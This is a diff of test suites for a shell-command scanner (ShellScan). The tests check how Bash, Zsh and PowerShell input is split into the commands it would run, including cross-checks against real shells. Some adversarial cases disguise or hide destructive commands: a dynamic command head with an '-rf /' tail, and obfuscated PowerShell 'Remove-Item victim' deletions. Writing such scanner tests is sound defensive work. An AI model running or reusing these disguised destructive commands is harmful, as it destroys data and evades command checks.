@@ -64,19 +71,7 @@ describe("ShellScan adversarial corpus", () => {
expect(result.commands.map((command) => command.words[0])).toEqual([...names])
})
test.each([
"$Command status",
"& $Command status",
'Write-Output "$(Get-ChildItem)"',
"Set-Location $HOME/$target; Get-ChildItem",
"Remove-`Item victim",
"Remove-Item`\r\n victim",
"Invoke-`\nExpression 'Remove-Item victim'",
"<# ignored #> Remove-Item victim",
"[string]$x = Remove-Item victim",
'Write-Output "unterminated',
"Get-ChildItem |",
])("keeps structurally uncertain PowerShell input opaque: %s", (input) => {
test.each(['Write-Output "unterminated', "Get-ChildItem |"])("reports incomplete PowerShell input: %s", (input) => {
expect(ShellScan.scanPowerShell(input).kind).toBe("opaque")
})
})
@@ -0,0 +1,143 @@
import { describe, expect, test } from "bun:test"
import { ShellScan } from "../../src/shell/scan.js"
describe("Bash arithmetic expansions", () => {
test.each([
"$((1+1))",
"$((1 + 1))",
"$(((1 + 2) * (3 + (4))))",
"$((value + $other + ${third}))",
"$((value += 2, value > 1 ? value << 2 : ~value))",
"$((16#ff & 0xff | 2 ** 3))",
"$((1 + $((2 * 3))))",
"$((1 + \\\n2))",
"$((1 +\n2))",
"$((1 + ${value:-2}))",
"$((array[index]))",
"$((1 + $[2]))",
'$((1 + "2"))',
"$((1 + '2'))",
])("preserves arithmetic without evaluating it: %s", (expression) => {
for (const argument of [expression, `"${expression}"`]) {
expect(ShellScan.scan(`echo ${argument}`)).toEqual({
kind: "scanned",
commands: [{ resource: `echo ${argument}`, words: ["echo", expression], rawWords: ["echo", argument] }],
})
}
})
test.each([
"$((1 + $(printf 2)))",
"$((1 + `printf 2`))",
"$((1 + $((2 * $(printf 2)))))",
'$((1 + $(printf "%s" "$(printf 2)")))',
"$((array[$(printf 2)]))",
"$((1 + `printf \\2`))",
])("reports explicit commands inside arithmetic: %s", (expression) => {
for (const argument of [expression, `"${expression}"`]) {
const result = ShellScan.scan(`echo ${argument}; pwd`)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands[0]).toEqual({
resource: `echo ${argument}`,
words: ["echo", expression],
rawWords: ["echo", argument],
})
expect(result.commands.slice(1, -1).map((command) => command.words[0])).toEqual(
expression.includes('"$(printf') ? ["printf", "printf"] : ["printf"],
)
expect(result.commands.at(-1)).toEqual({ resource: "pwd", words: ["pwd"], rawWords: ["pwd"] })
}
})
test.each([
'VALUE=$((1 + $(printf 2))) echo ok >"$((3 + $(printf 4)))"',
'echo "$(echo $((1 + $(printf 2))))"',
'{ echo "$((1 + $(printf 2)))"; }',
'(echo "$((1 + $(printf 2)))")',
'if true; then echo "$((1 + $(printf 2)))"; fi',
])("recognizes arithmetic in existing shell contexts: %s", (source) => {
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toContain("printf")
expect(result.commands.map((command) => command.words[0])).toContain("echo")
})
test("does not expand arithmetic inside single quotes", () => {
expect(ShellScan.scan("echo '$((1 + $(ignored)))'")).toEqual({
kind: "scanned",
commands: [
{
resource: "echo '$((1 + $(ignored)))'",
words: ["echo", "$((1 + $(ignored)))"],
rawWords: ["echo", "'$((1 + $(ignored)))'"],
},
],
})
})
test.each([
"echo $((1 + 2)",
"echo $(((1 + 2))",
"echo $((1 + $(printf 2))) &&",
"echo $((1 + $(printf 2 &&)))",
"echo $((1; printf 2))",
])("rejects malformed arithmetic syntax: %s", (source) => {
expect(ShellScan.scan(source).kind).toBe("opaque")
})
test("bounds arithmetic nesting, input size, and repeated conditional work", () => {
expect(ShellScan.scan(`echo $((${"(".repeat(33)}1${")".repeat(33)}))`).kind).toBe("opaque")
expect(ShellScan.scan(`echo ${"$((".repeat(33)}1${"))".repeat(33)}`).kind).toBe("opaque")
expect(ShellScan.scan(`echo $((${"1+".repeat(32 * 1024)}1))`).kind).toBe("opaque")
const source = Array.from({ length: 16 }).reduce<string>(
(source) => `if true; then echo $((1 + $(${source}))); fi`,
`printf ${"1".repeat(1024)}`,
)
expect(ShellScan.scan(source).kind).toBe("scanned")
expect(ShellScan.scan("echo $((1+1))").kind).toBe("scanned")
})
})
describe("Bash arithmetic real-shell oracle", () => {
const expressions = [
["$((1+1))", "2"],
["$(((1 + 2) * (3 + (4))))", "21"],
["$((value + $other + ${third}))", "9"],
["$((value += 2, value > 1 ? value << 2 : ~value))", "16"],
["$(((16#ff & 0xff) | (2 ** 3)))", "255"],
["$((1 + $((2 * 3))))", "7"],
["$((1 + $(scan_probe)))", "3"],
["$((1 + `scan_probe`))", "3"],
["$(((1 + $(scan_probe)) * $((2 + $(scan_probe)))))", "12"],
['$((1 + $(printf "%s" "$(scan_probe)")))', "3"],
] as const
for (const shell of ["bash", "zsh"]) {
const executable = Bun.which(shell)
test.skipIf(!executable).each(expressions)(`${shell} evaluates %s independently`, (expression, output) => {
for (const argument of [expression, `"${expression}"`]) {
const source = `value=2; other=3; third=4; printf '%s\\n' ${argument}`
const execution = Bun.spawnSync(
[
executable!,
...(shell === "bash" ? ["--noprofile", "--norc"] : ["-f"]),
"-c",
`scan_probe() { printf 'scan_probe\\n' >&2; printf 2; }; ${source}`,
],
{ env: { PATH: "/usr/bin:/bin", LC_ALL: "C" } },
)
expect(execution.exitCode).toBe(0)
expect(execution.stdout.toString()).toBe(`${output}\n`)
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
const observed = execution.stderr.toString().trim().split("\n").filter(Boolean)
expect(observed).toEqual(Array.from({ length: expression.split("scan_probe").length - 1 }, () => "scan_probe"))
expect(result.commands.filter((command) => command.words[0] === "scan_probe")).toHaveLength(observed.length)
expect(result.commands[0]?.words).toEqual(["printf", "%s\\n", expression])
}
})
}
})
@@ -0,0 +1,266 @@
import { describe, expect, test } from "bun:test"
import { ShellScan } from "../../src/shell/scan.js"
const executions = [
['printf safe; "scan_probe"', "scan_probe"],
["printf safe; 'scan_probe'", "scan_probe"],
["printf safe; $(printf scan_probe)", "$(printf scan_probe)"],
["X=${unset:-a b} scan_probe", "scan_probe"],
["X=value # comment\nscan_probe", "scan_probe"],
['printf "%s" `\\$(scan_probe)`', "scan_probe"],
['printf %s `printf \\\\"; scan_probe; printf \\\\"`', "scan_probe"],
["if true; then X=x scan_probe; fi", "scan_probe"],
["if true; then >/dev/null X=x scan_probe; fi", "scan_probe"],
["printf safe; { scan_probe; }", "scan_probe"],
["if true; then { scan_probe; }; fi", "scan_probe"],
["s{can_probe,can_probe}", "s{can_probe,can_probe}"],
['printf safe; # comment\n"scan_probe"', "scan_probe"],
["printf safe; \\\n'scan_probe'", "scan_probe"],
] as const
describe("Bash execution safety", () => {
for (const shell of ["bash", "zsh"]) {
const executable = Bun.which(shell)
test.skipIf(!executable).each([...executions])(`${shell} command syntax is visible: %s`, (source, head) => {
const execution = Bun.spawnSync(
[
executable!,
...(shell === "bash" ? ["--noprofile", "--norc"] : ["-f"]),
"-c",
`scan_probe() { printf 'executed\\n' >&2; }; ${source}`,
],
{ env: { PATH: "/usr/bin:/bin", LC_ALL: "C" } },
)
expect(execution.stderr.toString()).toContain("executed\n")
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") throw new Error(result.reason)
expect(result.commands.map((command) => command.words[0])).toContain(head)
})
}
test.each([
"printf ok && # comment",
'"if" true; then printf safe; fi',
"X=x if true; then printf safe; fi",
"(printf ok) &&",
"{ printf ok; } ||",
"(printf ok) |",
"(printf ok) |&",
])("rejects malformed command positions: %s", (source) => {
expect(ShellScan.scan(source).kind).toBe("opaque")
})
test.each([" ", "\t"])("recognizes shell whitespace %j", (space) => {
expect(ShellScan.scan(`printf${space}ok`)).toMatchObject({
kind: "scanned",
commands: [{ resource: `printf${space}ok`, words: ["printf", "ok"] }],
})
})
test.each(["\r", "\v", "\f", "\u00a0", "\ufeff"])("does not normalize non-shell whitespace %j", (space) => {
expect(ShellScan.scan(`${space}printf ok`).kind).toBe("opaque")
expect(ShellScan.scan(`printf${space}ok`).kind).toBe("opaque")
})
test.each(["'123'", '"123"', "1\\23"])("does not consume quoted command names as fd prefixes: %s", (head) => {
expect(ShellScan.scan(`${head}>/dev/null argument`)).toMatchObject({
kind: "scanned",
commands: [{ resource: `${head}>/dev/null argument`, words: ["123", "argument"] }],
})
})
test.each([
"'' > output",
"''",
"> output (printf ok)",
"(printf ok) >output pwd",
"{ printf ok; } >output X=x",
"(printf ok) &>output pwd",
])("keeps unsupported group positions and empty command names opaque: %s", (source) => {
expect(ShellScan.scan(source).kind).toBe("opaque")
})
test.each(["X=value > /dev/null", "X=x 2> output", "X=x < input", "> /dev/null", "2>> output", ">output 2>&1"])(
"scans redirects without inventing an executable command: %s",
(source) => {
expect(ShellScan.scan(source)).toEqual({ kind: "scanned", commands: [] })
},
)
test.each([">", "X=x >", "X=x > # comment\nprintf ok", ">; printf ok", "(printf ok) >", "{ printf ok; } >"])(
"still requires redirect targets: %s",
(source) => {
expect(ShellScan.scan(source)).toEqual({ kind: "opaque", reason: "invalid-redirect" })
},
)
test.each([
"{ printf ok; } > output",
"{ printf ok; } 2> output",
"{ printf ok; } &> output",
"(printf ok) > output",
"{ printf ok; }; X=x > output",
])("scans leading groups and their redirects without synthetic commands: %s", (source) => {
expect(ShellScan.scan(source)).toEqual({
kind: "scanned",
commands: [{ resource: "printf ok", words: ["printf", "ok"], rawWords: ["printf", "ok"] }],
})
})
test.each(["X=x >$(printf output)", ">$(printf output)", "{ :; } >$(printf output)", "(:) >$(printf output)"])(
"retains explicit substitutions in otherwise commandless redirects: %s",
(source) => {
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toEqual(
source.includes(":") ? [":", "printf"] : ["printf"],
)
expect(result.commands.at(-1)).toEqual({
resource: "printf output",
words: ["printf", "output"],
rawWords: ["printf", "output"],
})
},
)
test("scans a list following a group redirect suffix", () => {
expect(ShellScan.scan("(printf ok) >output && pwd")).toEqual({
kind: "scanned",
commands: [
{ resource: "printf ok", words: ["printf", "ok"], rawWords: ["printf", "ok"] },
{ resource: "pwd", words: ["pwd"], rawWords: ["pwd"] },
],
})
})
test("retains explicit colon commands and their redirects after a group", () => {
expect(ShellScan.scan("(printf ok); : > output")).toMatchObject({
kind: "scanned",
commands: [
{ resource: "printf ok", words: ["printf", "ok"] },
{ resource: ": > output", words: [":"] },
],
})
})
test("does not repeatedly rescan nested conditionals", () => {
const source = Array.from({ length: 16 }).reduce<string>(
(source) => `if true; then echo $(${source}); fi`,
`printf ${"x".repeat(1024)}`,
)
expect(ShellScan.scan(source).kind).toBe("scanned")
expect(ShellScan.scan("if true; then echo $(printf safe); fi")).toMatchObject({
kind: "scanned",
commands: [
{ resource: "true", words: ["true"] },
{ resource: "echo $(printf safe)", words: ["echo", "$(printf safe)"] },
{ resource: "printf safe", words: ["printf", "safe"] },
],
})
})
test.each([
"(printf safe # ) ignored\nscan_probe)",
"{ printf safe; # } ignored\nscan_probe; }",
'echo "$(printf "\'"; scan_probe)"',
'echo "$(printf "%s" "$(printf ")")"; scan_probe)"',
])("does not lose commands through delimiter or quote confusion: %s", (source) => {
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") throw new Error(result.reason)
expect(result.commands.map((command) => command.words[0])).toContain("scan_probe")
})
})
describe("Bash real-shell differential grammar", () => {
const probes = ["scan_first", "scan_second", "scan_third"]
const words = [
"scan_first",
"'scan_first'",
's"can_"first',
"scan_first 'literal; $(not_a_command)'",
"X=value scan_first",
'X="$(scan_second)" scan_first',
'scan_first "$(scan_second)"',
"scan_first `scan_second`",
'scan_first "$(printf "\'"; scan_second)"',
]
const contexts = [
(source: string) => source,
(source: string) => `\n\n${source}\n\n`,
(source: string) => `${source}; scan_third`,
(source: string) => `${source} && scan_third`,
(source: string) => `${source} | scan_third`,
(source: string) => `(${source})`,
(source: string) => `{ ${source}; }`,
(source: string) => `scan_third "$(${source})"`,
(source: string) => `if true; then ${source}; fi`,
(source: string) => `Y="$(${source})" scan_third`,
(source: string) => `${source} >/dev/null`,
]
for (const shell of ["bash", "zsh", Bun.which("dash") ? "dash" : "sh"]) {
const executable = Bun.which(shell)
const sources = (
shell === "bash" || shell === "zsh"
? [...words, "scan_first <(scan_second)", 'values=(value "$(scan_second)"); scan_first']
: words
).flatMap((source) => contexts.map((context) => context(source)))
test.skipIf(!executable).each(sources)(`${shell}: %s`, (source) => {
const execution = Bun.spawnSync(
[
executable!,
...(shell === "bash" ? ["--noprofile", "--norc"] : shell === "zsh" ? ["-f"] : []),
"-c",
probes.map((name) => `${name}() { printf '${name}\\n' >&2; }; `).join("") + source,
],
{ env: { PATH: "/usr/bin:/bin", LC_ALL: "C" } },
)
expect(execution.exitCode).toBe(0)
const observed = execution.stderr.toString().trim().split("\n")
expect(observed.length).toBeGreaterThan(0)
expect(observed.every((name) => probes.includes(name))).toBe(true)
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") throw new Error(result.reason)
for (const name of observed) expect(result.commands.map((command) => command.words[0])).toContain(name)
})
}
})
describe("Bash real-shell redirect-only statements", () => {
for (const shell of ["bash", "zsh"]) {
const executable = Bun.which(shell)
test
.skipIf(!executable)
.each([
"VALUE=ok >/dev/null; scan_probe",
">/dev/null; scan_probe",
"(scan_probe) >/dev/null",
"{ scan_probe; } >/dev/null",
"{ scan_probe; } >$(scan_target)",
"VALUE=ok >$(scan_target); scan_probe",
])(`${shell} preserves commands around redirect-only syntax: %s`, (source) => {
const execution = Bun.spawnSync(
[
executable!,
...(shell === "bash" ? ["--noprofile", "--norc"] : ["-f"]),
"-c",
`scan_probe() { printf 'scan_probe\\n' >&2; }; scan_target() { printf 'scan_target\\n' >&2; printf /dev/null; }; ${source}`,
],
{ env: { PATH: "/usr/bin:/bin", LC_ALL: "C" } },
)
expect(execution.exitCode).toBe(0)
expect(execution.stdout.toString()).toBe("")
const observed = execution.stderr.toString().trim().split("\n").sort()
expect(observed).toEqual(source.includes("scan_target") ? ["scan_probe", "scan_target"] : ["scan_probe"])
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0]).sort()).toEqual(observed)
})
}
})
@@ -0,0 +1,243 @@
import { describe, expect, test } from "bun:test"
import { Effect } from "effect"
import { ShellParse } from "../../src/shell/parse.js"
import { ShellScan } from "../../src/shell/scan.js"
const fixtures = [
["if true; then VALUE=$(scan_probe); fi", ["true", "scan_probe"]],
["if VALUE=$(scan_probe); then :; fi", ["scan_probe", ":"]],
["if true; then if false; then :; else scan_probe; fi; fi", ["true", "false", ":", "scan_probe"]],
["for value in one two; do if true; then scan_probe; fi; done", ["true", "scan_probe"]],
["for value in $(scan_probe); do :; done", ["scan_probe", ":"]],
["for ((i=0; i<1; i++)); do scan_probe; done", ["scan_probe"]],
["while false; do scan_probe; done; scan_after", ["false", "scan_probe", "scan_after"]],
["until true; do scan_probe; done; scan_after", ["true", "scan_probe", "scan_after"]],
["case value in value|other) scan_probe;; *) scan_after;; esac", ["scan_probe", "scan_after"]],
["case value in (value) case x in x) scan_probe;; esac;; esac", ["scan_probe"]],
["case if in if) scan_probe;; esac", ["scan_probe"]],
["case $(scan_probe) in value) :;; esac", ["scan_probe", ":"]],
["f() { case value in value) scan_probe;; esac; }; f", ["scan_probe", "f"]],
["function f { scan_probe; }; f", ["scan_probe", "f"]],
["f() (scan_probe); f", ["scan_probe", "f"]],
["printf ok; { scan_probe; } | scan_after", ["printf", "scan_probe", "scan_after"]],
["(scan_probe # ) ignored\nscan_after)", ["scan_probe", "scan_after"]],
["{ scan_probe; # } ignored\nscan_after; }", ["scan_probe", "scan_after"]],
["printf '%s' \"$(case value in value) scan_probe;; esac)\"", ["printf", "scan_probe"]],
["printf '%s' \"$(for value in one; do scan_probe; done)\"", ["printf", "scan_probe"]],
["printf '%s' \"$(printf %s case in; scan_probe)\"", ["printf", "printf", "scan_probe"]],
["cat <<EOF\nscan_ignored; $(scan_probe)\nEOF", ["cat", "scan_probe"]],
["cat <<'EOF'\nscan_ignored; $(scan_ignored)\nEOF", ["cat"]],
["cat <<\\EOF\n$(scan_ignored)\nEOF", ["cat"]],
["cat <<E'O'F\n$(scan_ignored)\nEOF", ["cat"]],
["cat <<-EOF\n\t$(scan_probe)\n\tEOF", ["cat", "scan_probe"]],
["cat <<EOF\n'$(scan_probe)'\nEOF", ["cat", "scan_probe"]],
["cat <<EOF\n\\$(scan_ignored)\nEOF", ["cat"]],
["cat <<EOF\n$(scan_probe)\nE\\\nOF\nscan_after", ["cat", "scan_probe", "scan_after"]],
["cat <<A <<'B'\n$(scan_probe)\nA\n$(scan_ignored)\nB\nscan_after", ["cat", "scan_probe", "scan_after"]],
["if cat <<EOF\n$(scan_probe)\nEOF\nthen scan_after; fi", ["cat", "scan_probe", "scan_after"]],
["printf '%s' \"$(cat <<EOF\n) $(scan_probe)\nEOF\n)\"", ["printf", "cat", "scan_probe"]],
["{ cat <<'EOF'\n} ignored\nEOF\nscan_probe; }", ["cat", "scan_probe"]],
['cat <<< "$(scan_probe)"', ["cat", "scan_probe"]],
["printf '%s' ${unset:-$(scan_probe)}", ["printf", "scan_probe"]],
["printf '%s' \"${unset:-'$(scan_probe)'}\"", ["printf", "scan_probe"]],
["printf '%s' ${unset:-'$(scan_ignored)'}", ["printf"]],
["printf '%s' \"${unset:-${other:-$(scan_probe)}}\"", ["printf", "scan_probe"]],
["printf '%s' \"${value%)}\"; scan_probe", ["printf", "scan_probe"]],
["printf '%s' \"${value//x/$(scan_probe)}\"", ["printf", "scan_probe"]],
["printf '%s' \"${array[$(scan_probe)]}\"", ["printf", "scan_probe"]],
["array[$(scan_probe)]=value; scan_after", ["scan_probe", "scan_after"]],
['array=(one "$(scan_probe)"); scan_after', ["scan_probe", "scan_after"]],
["array=(<(scan_probe)); scan_after", ["scan_probe", "scan_after"]],
["(( value = $(scan_probe) + 1 )); scan_after", ["scan_probe", "scan_after"]],
["printf '%s' $((array[$(scan_probe)] + 1))", ["printf", "scan_probe"]],
["printf '%s' $[1 + $(scan_probe)]", ["printf", "scan_probe"]],
["[[ $(scan_probe) = value ]] && scan_after", ["scan_probe", "scan_after"]],
["printf '%s' `printf \\2`; scan_probe", ["printf", "printf", "scan_probe"]],
["printf '%s' `printf \\`scan_probe\\``", ["printf", "printf", "scan_probe"]],
["printf '%s' $'literal\\\'$(scan_ignored)'; scan_probe", ["printf", "scan_probe"]],
['printf %s $"$(scan_probe)"', ["printf", "scan_probe"]],
["if true; then \\\nVALUE=$(scan_probe); fi", ["true", "scan_probe"]],
["! scan_probe", ["scan_probe"]],
["time scan_probe", ["time"]],
["{fd}>/dev/null scan_probe", ["scan_probe"]],
] as const
describe("ordinary Bash and Zsh syntax", () => {
test.each(fixtures)("extracts actual command nodes: %s", (source, names) => {
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind !== "scanned") throw new Error(result.reason)
expect(result.commands.map((command) => command.words[0])).toEqual([...names])
})
for (const shell of ["bash", "zsh"]) {
const executable = Bun.which(shell)
for (const [source] of fixtures) {
// These are Bash spellings; Zsh's fd allocation is a standalone statement.
test.skipIf(
!executable ||
(shell === "zsh" && (source.includes('$"') || source.startsWith("{fd}") || source.includes("$["))),
)(`${shell} accepts the source grammar: ${source}`, () => {
const result = Bun.spawnSync([
executable ?? shell,
...(shell === "bash" ? ["--noprofile", "--norc"] : ["-f"]),
"-n",
"-c",
source + "\n:",
])
expect(result.stderr.toString()).toBe("")
// Zsh negates the skipped command's status even under NOEXEC.
expect(result.exitCode).toBe(shell === "zsh" && source.startsWith("! ") ? 1 : 0)
})
}
test
.skipIf(!executable)
.each([
"if true; then VALUE=$(scan_probe); fi",
"for value in one; do if true; then scan_probe; fi; done",
"f() { case value in value) scan_probe;; esac; }; f",
"printf '%s' \"$(case value in (value) scan_probe;; esac)\"",
"cat <<EOF\n'$(scan_probe)'\nEOF",
"cat <<A <<'B'\n$(scan_probe)\nA\n$(scan_ignored)\nB",
'cat <<< "$(scan_probe)"',
"printf '%s' \"${unset:-'$(scan_probe)'}\"",
"printf '%s' `printf \\`scan_probe\\``",
'array=(one "$(scan_probe)"); :',
"(( value = $(scan_probe) + 1 )); :",
])(`${shell} runs only the explicitly found probes: %s`, (source) => {
const execution = Bun.spawnSync(
[
executable ?? shell,
...(shell === "bash" ? ["--noprofile", "--norc"] : ["-f"]),
"-c",
`scan_probe() { printf 'scan_probe\\n' >&2; printf 1; }; scan_ignored() { printf 'unexpected\\n' >&2; }; ${source}`,
],
{ env: { PATH: "/usr/bin:/bin", LC_ALL: "C" } },
)
expect(execution.exitCode).toBe(0)
expect(execution.stderr.toString()).toBe("scan_probe\n")
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind !== "scanned") throw new Error(result.reason)
expect(result.commands.filter((command) => command.words[0] === "scan_probe")).toHaveLength(1)
expect(result.commands.some((command) => command.words[0] === "scan_ignored")).toBe(false)
})
}
test.each([
"for value in one; do",
"while true; done",
"case value in x) echo ok",
"cat <<EOF\nunclosed",
"echo ${missing",
"echo $'missing",
])("rejects incomplete syntax: %s", (source) => {
expect(ShellScan.scan(source).kind).toBe("opaque")
})
test("preserves raw lexical spelling of ANSI-C and locale quoted words", () => {
expect(ShellScan.scan("$'pri\\x6etf' $'line\\n' $\"text\"")).toMatchObject({
kind: "scanned",
commands: [{ words: ["printf", "line\n", "text"], rawWords: ["$'pri\\x6etf'", "$'line\\n'", '$"text"'] }],
})
})
test.each([
["coproc job { scan_probe; }", ["scan_probe"]],
["printf '%s' @(one|$(scan_probe))", ["printf", "scan_probe"]],
["printf '%s' $((1 + '$(scan_probe)'))", ["printf", "scan_probe"]],
["printf '%s' $(((1 + '$(scan_probe)')))", ["printf", "scan_probe"]],
['printf %s "${ scan_probe; }"', ["printf", "scan_probe"]],
['printf %s "${|scan_probe; }"', ["printf", "scan_probe"]],
] as const)("retains explicit substitutions without evaluating expressions: %s", (source, names) => {
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind !== "scanned") throw new Error(result.reason)
expect(result.commands.map((command) => command.words[0])).toEqual([...names])
})
})
describe("Bash shared heredoc delimiter grammar", () => {
test.each([
'(cat <<"E\\OF"\nhello\nE\\OF\n)',
'cat <<"E\\$OF"\nhello\nE$OF',
'(cat <<"E\\$OF"\nhello\nE$OF\n)',
'(cat <<-"E\\OF"\n\thello\n\tE\\OF\n)',
])("preserves heredoc permission resources and saved prefixes: %s", async (source) => {
const legacy = await Effect.runPromise(ShellParse.scan(source, "/bin/bash", "/workspace"))
expect(await Effect.runPromise(ShellParse.scanPortable(source, "/bin/bash", "/workspace"))).toEqual(legacy)
})
test.each([
["cat <<< hello\nprintf done", ["cat", "printf"]],
["(cat <<< hello\nprintf done)", ["cat", "printf"]],
['printf %s "$(cat <<< hello\nprintf done)"', ["printf", "cat", "printf"]],
['(cat <<< "$(printf hello)"\nprintf done)', ["cat", "printf", "printf"]],
] as const)("does not reinterpret the tail of a here-string operator: %s", async (source, names) => {
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind !== "scanned") throw new Error(result.reason)
expect(result.commands.map((command) => command.words[0])).toEqual([...names])
const legacy = await Effect.runPromise(ShellParse.scan(source, "/bin/bash", "/workspace"))
expect(await Effect.runPromise(ShellParse.scanPortable(source, "/bin/bash", "/workspace"))).toEqual(legacy)
})
test.each([
['<<"E\\OF"', "E\\OF", true, false],
['<<"E\\$OF"', "E$OF", true, false],
['<<"E\\`OF"', "E`OF", true, false],
['<<"E\\\"OF"', 'E"OF', true, false],
['<<"E\\\\OF"', "E\\OF", true, false],
["<<'E\\OF'", "E\\OF", true, false],
["<<E\\OF", "EOF", true, false],
["<<''", "", true, false],
["<<$'E\\x4fF'", "EOF", true, false],
["<<EO\\\nF", "EOF", false, false],
["<<-EOF", "EOF", false, true],
['<<-"E\\OF"', "E\\OF", true, true],
] as const)("uses identical delimiter decoding in every command context: %j", (header, delimiter, quoted, tabs) => {
const body = `cat ${header}\n${tabs ? "\t" : ""}$(printf probe)\n${tabs ? "\t" : ""}${delimiter}`
for (const source of [body + "\nprintf done", `(${body}\nprintf done)`, `printf %s "$(${body}\nprintf done)"`]) {
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind !== "scanned") throw new Error(result.reason)
expect(result.commands.map((command) => command.words[0])).toEqual([
...(source.startsWith("printf") ? ["printf"] : []),
"cat",
...(quoted ? [] : ["printf"]),
"printf",
])
expect(result.commands.find((command) => command.words[0] === "cat")).toEqual({
resource: body.trim(),
words: ["cat"],
rawWords: ["cat"],
})
if (!quoted) expect(result.commands.some((command) => command.resource === "printf probe")).toBe(true)
}
})
const bash = Bun.which("bash")
test
.skipIf(!bash)
.each([
"(cat <<< hello\nprintf done)",
'printf %s "$(cat <<< hello\nprintf done)"',
'(cat <<"E\\OF"\n$(scan_probe)\nE\\OF\nprintf done)',
'(cat <<"E\\$OF"\n$(scan_probe)\nE$OF\nprintf done)',
"(cat <<''\n$(scan_probe)\n\nprintf done)",
"(cat <<$'E\\x4fF'\n$(scan_probe)\nEOF\nprintf done)",
'(cat <<-"E\\OF"\n\t$(scan_probe)\n\tE\\OF\nprintf done)',
"(cat <<EO\\\nF\n$(scan_probe)\nEOF\nprintf done)",
])("real Bash agrees with delimiter quoting: %s", (source) => {
const execution = Bun.spawnSync(
[bash!, "--noprofile", "--norc", "-c", `scan_probe() { printf 'executed\\n' >&2; }; ${source}`],
{ env: { PATH: "/usr/bin:/bin", LC_ALL: "C" } },
)
expect(execution.exitCode).toBe(0)
expect(execution.stderr.toString()).toBe(source.includes("<<EO\\\nF") ? "executed\n" : "")
expect(execution.stdout.toString()).toBe(
source.includes("<<<") ? "hello\ndone" : source.includes("<<EO\\\nF") ? "\ndone" : "$(scan_probe)\ndone",
)
})
})
+17 -1
View File
@@ -1,7 +1,7 @@
import { describe, expect, test } from "bun:test"
import { ShellScan } from "../../src/shell/scan.js"
const opaque = ["$COMMAND hidden", "$(printf command) hidden", 'printf "unterminated'] as const
const opaque = ['printf "unterminated'] as const
const contexts = [
(source: string) => source,
(source: string) => `${source}; printf visible`,
@@ -29,3 +29,19 @@ describe("ShellScan quote suppression", () => {
expect(ShellScan.scan(`printf '%s' '${source.replaceAll("'", "")}'`).kind).toBe("scanned")
})
})
describe("ShellScan recursive parameter expansion coverage", () => {
for (const seed of ["${COMMAND:-hidden}", "$(printf ${value:-command}) hidden"]) {
for (const outer of contexts) {
for (const inner of contexts.slice(0, 5)) {
const source = outer(inner(seed))
test(source, () => {
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind !== "scanned") throw new Error(result.reason)
expect(result.commands.some((command) => command.resource === seed)).toBe(true)
})
}
}
}
})
+34 -22
View File
@@ -14,7 +14,7 @@ describe("ShellScan generated properties", () => {
for (const [left, leftWords] of staticCommands) {
for (const separator of separators) {
for (const [right, rightWords] of staticCommands) {
expect(ShellScan.scan(left + separator + right)).toEqual({
expect(ShellScan.scan(left + separator + right)).toMatchObject({
kind: "scanned",
commands: [
{ resource: left, words: [...leftWords] },
@@ -35,7 +35,7 @@ describe("ShellScan generated properties", () => {
])
for (const form of forms) {
expect(ShellScan.scan(`printf %s ${form.source}`)).toEqual({
expect(ShellScan.scan(`printf %s ${form.source}`)).toMatchObject({
kind: "scanned",
commands: [{ resource: `printf %s ${form.source}`, words: ["printf", "%s", form.word] }],
})
@@ -59,19 +59,24 @@ describe("ShellScan generated properties", () => {
}
})
test("fails closed for generated dynamic command heads", () => {
test("retains generated dynamic command heads without resolving them", () => {
const heads = ["$COMMAND", "${COMMAND}", "pre$COMMAND", '"$COMMAND"', "$(printf git)", "`printf git`"]
const tails = ["status", "--version", "-rf /"]
for (const head of heads) {
for (const tail of tails) expect(ShellScan.scan(`${head} ${tail}`).kind).toBe("opaque")
for (const tail of tails) {
const result = ShellScan.scan(`${head} ${tail}`)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands[0]?.rawWords[0]).toBe(head)
expect(result.commands[0]?.words[0]).toBe(head.replaceAll('"', ""))
}
}
})
test("keeps wrappers and shell evaluators at their delegated boundary", () => {
const prefixes = ["", "FOO=bar ", "FOO=bar BAR=baz "]
const wrapped = [
"time git status",
"command git status",
"builtin printf ok",
"exec git status",
@@ -90,6 +95,7 @@ describe("ShellScan generated properties", () => {
for (const prefix of prefixes) {
for (const command of wrapped) expect(ShellScan.scan(prefix + command).kind).toBe("scanned")
expect(ShellScan.scan(`${prefix}time git status`).kind).toBe("scanned")
}
})
})
@@ -106,7 +112,7 @@ describe("ShellScan generated PowerShell properties", () => {
for (const [left, leftWords] of commands) {
for (const separator of separators) {
for (const [right, rightWords] of commands) {
expect(ShellScan.scanPowerShell(left + separator + right)).toEqual({
expect(ShellScan.scanPowerShell(left + separator + right)).toMatchObject({
kind: "scanned",
commands: [
{ resource: left, words: [...leftWords] },
@@ -127,14 +133,7 @@ describe("ShellScan generated PowerShell properties", () => {
])
for (const form of forms) {
if (form.source.startsWith("left`") && ";|&".includes(form.word[4] ?? "")) {
expect(ShellScan.scanPowerShell(`Write-Output ${form.source}`)).toEqual({
kind: "opaque",
reason: "invalid-structure",
})
continue
}
expect(ShellScan.scanPowerShell(`Write-Output ${form.source}`)).toEqual({
expect(ShellScan.scanPowerShell(`Write-Output ${form.source}`)).toMatchObject({
kind: "scanned",
commands: [{ resource: `Write-Output ${form.source}`, words: ["Write-Output", form.word] }],
})
